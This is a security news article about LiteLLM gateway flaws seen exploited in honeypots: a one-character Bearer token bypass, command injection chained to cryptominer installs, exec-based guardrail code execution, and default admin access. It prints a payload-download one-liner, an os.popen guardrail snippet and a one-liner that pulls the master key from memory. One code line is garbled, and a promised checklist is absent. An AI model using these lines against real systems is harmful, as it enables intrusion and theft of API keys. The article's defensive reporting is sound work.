Wiz Research spent 90 days running honeypots that mimicked real AI infrastructure — LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI, Node-RED, and a few others — and watched actual attackers find them. The most striking result wasn’t a zero-day. It was a fallback error handler in LiteLLM’s Model Context Protocol (MCP) gateway that treated “I don’t recognize this token” the same as “this token is fine.” A Bearer token one character long — Bearer a - was enough to open a session. If your team runs LiteLLM as an AI gateway (a lot of teams do, since it's the default way to put one API in front of OpenAI, Anthropic, Azure, and Gemini), this is worth 10 minutes of your afternoon.
The bug is tracked as CVE-2026–59822. LiteLLM’s MCP endpoint is supposed to validate a Bearer token before granting access to whatever MCP servers your org has wired up — Jira, Slack, internal databases, CI/CD pipelines, anything an agent might legitimately need to touch. The validation code path had a bug: when a token failed the standard LiteLLM check, instead of rejecting the request, it caught the resulting 401 and quietly returned an empty auth object. Empty isn’t “denied.” Empty is “authenticated as nobody in particular,” and MCP treated that as good enough.
A response with an mcp-session-id header meant the door was open - full access to every MCP tool the proxy could reach, no real credential required. This wasn't a lab finding; Wiz's honeypots logged it being probed live, and CVE-2026-59822 made it onto CISA's Known Exploited Vulnerabilities list.
An open MCP session is bad on its own, but attackers didn’t stop there. Wiz documented a chain where the auth bypass fed into CVE-2026–42271, a command-injection flaw in MCP’s test/config endpoints — unsafe subprocess execution triggered by a crafted MCP server configuration. The payload pattern was simple: register a fake MCP config, have it shell out to fetch and run a cryptominer, then clean up the staging directory so a casual ls finds nothing.
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Some of this exploitation has been linked to the Qilin ransomware group. The evasion details are the part worth remembering even if the CVE numbers blur together: miners staged in /tmp/.dbus-cache/, binaries renamed to things like unicorn, and one campaign specifically staged its payload inside a directory structured to look like a Claude Code config folder - /app/data/.claude/ - so it reads as tooling you'd expect to see, not as an intrusion.
Separately from the MCP chain, LiteLLM shipped a second serious bug, CVE-2026–59821, in its custom-guardrails feature. Guardrails let an admin register Python code that runs against requests — and the registration endpoint ran that code through exec(compile(...)) without stripping builtins or blocking dangerous imports. An admin session (or, worse, an unauthenticated one - see below) could register a "guardrail" that was really just:
import os_cmd = os.popen('id').read().strip()
and get command output smuggled back in the block-reason field of a later response. This one is fixed in v1.82.0, which enforces the admin role on guardrail endpoints and finally strips builtins before the code ever compiles. If you're running an older pin, this isn't theoretical - patch it before the auth bypass in the next paragraph makes it worse.
Here’s the detail that turns a patchable bug into a live incident: when no master key is configured, LiteLLM used to hand every user PROXY_ADMIN by default - not read-only, not scoped, full admin, including the guardrails endpoint above. And a lot of instances never configured one. Scanning public instances, researchers found roughly 1 in 10 (9.6% of 3,074 checked) either accepted the default master key sk-1234 or required no authentication at all. Combine that with the MCP bypass and the guardrails RCE and you get several independent, low-effort paths into the same box.
The part specific to AI infrastructure — and the reason Wiz calls this “AI-native post-exploitation” — is what attackers went looking for once they had a shell. Not files. The running process’s memory:
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
That one line pulls the proxy’s master key straight out of memory, no disk access required. From there they enumerated config paths (/app/litellm_config.yaml, ~/.litellm/config.yaml), fingerprinted which backend models were wired up, and picked a target based on what the proxy could reach. This is exactly why a LiteLLM (or similar) gateway is a higher-value target than a typical app server: Wiz's telemetry noted that a single proxy commonly holds live keys for OpenAI, Anthropic, Azure OpenAI, and Gemini simultaneously. One memory read, four providers' worth of blast radius.
Skip the CVE-number memorization and run through this instead:
Treat your AI gateway like the credential vault it actually is, not like a convenience proxy you stood up once and stopped thinking about — the auth bug here wasn’t exotic, it was a try/except that swallowed the wrong error, and it’s already been exploited in the wild.
A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway was originally published in Towards AI on Medium, where people are continuing the conversation by highlighting and responding to this story.